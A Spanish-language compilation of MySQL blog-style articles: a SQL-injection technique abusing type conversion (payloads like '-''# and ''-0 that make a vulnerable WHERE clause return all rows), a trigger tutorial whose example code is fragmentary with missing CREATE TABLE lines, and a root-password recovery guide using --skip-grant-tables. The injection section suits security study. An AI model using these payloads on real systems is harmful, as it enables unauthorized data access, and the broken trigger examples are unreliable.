Abusando de la conversión de tipos para pequeñas inyecciones en MySQL
mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name | varchar(20) | YES | | NULL | |
| num | int(11) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
¿Qué es lo que ha pasado? Vamos a investigar un poco:
mysql> show warnings;
+---------+------+--------------------------------------------+
| Level | Code | Message |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
El operador menos "-" utilizado en el string la convierte a DOUBLE, un valor numérico. ¿Cual es el resultado de esta sentencia?:
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
Para cada registro la columna 'name' es comparada a 0, lo cual provoca otro tipo de conversión y, con un warning, el valor de cada uno de ellos es efectivamente 0, lo cual satisface la condición WHERE (0 = ''-'').
Ahora, ¿cómo podemos abusar de esta peculiaridad? Imagina que tienes un juego de caracteres limitado (por ejemplo, sin espacios en blanco, sin signo de igualdad, sin paréntesis, sin letras) o la longitud disponible es muy limitada. La query vulnerable es SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... y necesita devolver al menos algún valor, pero no conoces ninguno en la columna secret (la cual no es fácilmente enumerable). Un payload tan simple como '-''# convertirá la query a:
SELECT secret FROM table WHERE fld=''-''# AND .....
y devolverá todos los registros (a parte de los que coincidan con /^-?[0-9]/).
Además puedes usar el mismo truco con ''+'', ''&'',''^'' y ''*''. Ten en cuenta:
mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)
mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
Otro truco sería comparar simplemente una columna de cadena con ''-0:
mysql> select * from t where name=''-0;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
Todas estas sentencias SQL fueron probadas en MySQL 5.5 y 5.1, aunque debería funcionar en versiones anteriores también.
Y eso es todo amigos. Para más técnicas de inyección SQL te recomiendo la referencia de inyecciones SQL de Roberto Salgado. Me ayudó en numerosas ocasiones y es en mi opinión es una las mejores sobre SQLi que se han hecho nunca.
Referencias
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://websec.ca/kb/sql_injection
http://www.hackplayers.com/2013/01/truco-typecasting-sqli-mysql.html#more
Triggers o disparadores en MySQL
----------------------------------------------------------------------------------------------------------------
¿Cómo crear un trigger en MySQL?
La sintaxis básica para crear un trigger en MySQL es la siguiente:{BEFORE|AFTER} {INSERT|UPDATE|DELETE}
ON nombre_tabla
FOR EACH ROW BEGIN
sentencias_sql;
END;
- BEFORE|AFTER espefican cuando se dispara el trigger (antes de ejecutar la sentencia o despúes)
- INSERT|UPDATE|DELETE especifican el evento que disparará el trigger
- ON nombre_tabla indica la tabla sobre la que actúa el trigger
- sentencias_sql son las sentencias que se ejecutarán cuando se active el trigger
fecha DATE,
hora TIME);
emp_no integer PRIMARY KEY,
apellidos VARCHAR(50),
salario INTEGER);
DELIMITER |
CREATE TRIGGER trigger1 BEFORE INSERT ON empleados
FOR EACH ROW BEGIN
INSERT INTO auditoria VALUES(CURDATE(),CURTIME());
END;
| DELIMITER ;
- INSERT INTO EMPLE VALUES(1,’Serrano Pérez’,1500);
campo1 VARCHAR(10));
antiguovalor varchar(10),
nuevovalor varchar(10),
fecha date,
hora time);
CREATE TRIGGER trigger2 AFTER UPDATE ON test1
FOR EACH ROW BEGIN
INSERT INTO test1 VALUES(OLD.campo1,NEW.campo2,CURDATE(),CURTIME());
END;
| DELIMITER ;
CREATE TRIGGER trigger3 AFTER DELETE ON test1
FOR EACH ROW BEGIN
INSERT INTO auditoria3 VALUES(OLD.campo1,CURDATE(),CURTIME());
| DELIMITER ;
Recuperar clave de acceso en un servidor MySQL
A veces por cualquier motivo puede ser que olvidemos la clave de acceso de root en nuestro servidor Mysql, o queramos cambiarle la clave a cualquier usuario.
Para cambiar a de un usuario hacemos lo siguiente:
Abrimos una consola (shell)
mysql -u root -p
Aparecerá un shell parecido a este:
mysq>
Ahora seleccionamos la base de datos de mysql:
mysql>use mysql;
Si queremos cambiar el password para cualquier usuario usamos lo siguiente:
mysql>update user set password=PASSWORD("NUEVOPASSWORD") where User='elusuario';
mysql>flush privileges;
Nota: Como sugerencia de seguridad adicional es recomendable usar una combianción de letras, números y símbolos para la contraseña y que tenga como mínimo 8 carácteres de largo.
El flush privileges es para reiniciar los privilegios y se haga efectivo el cambio. Si nos queremos salir de la consola de mysql:
mysql>quit
Para recuperar la contraseña de Root
Detenemos el proceso de mysql:
/etc/init.d/mysql stop
Iniciamos el servidor mysql sin chequear las tablas de permisos:
mysqld_safe --skip-grant-tables &
Aparecerá algo similar a esto:
[1] 5988
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[6025]: started
3. Entramos como root al servidor mysql
mysql -u root
Cambiamos la clave
mysql>use mysql;
mysql>update user set password=PASSWORD("NUEVOPASSWORD") where User='root';
mysql>flush privileges;
Nota: Igual como se recomendo anteriormente usar una combianción de letras, números y símbolos para la contraseña y que tenga como mínimo 8 carácteres de largo.
Detenemos de nuevo el servidor mysql:
/etc/init.d/mysql stop
Iniciamos de nuevo el servidor mysql
/etc/init.d/mysql start
Para probrar la nueva clave: mysql -u root -p
Basado en:
Como cambiar y recuperar la clave en un servidor MySQL escrito por Olivers
http://www.vensign.com
referencia:www.xombra.com



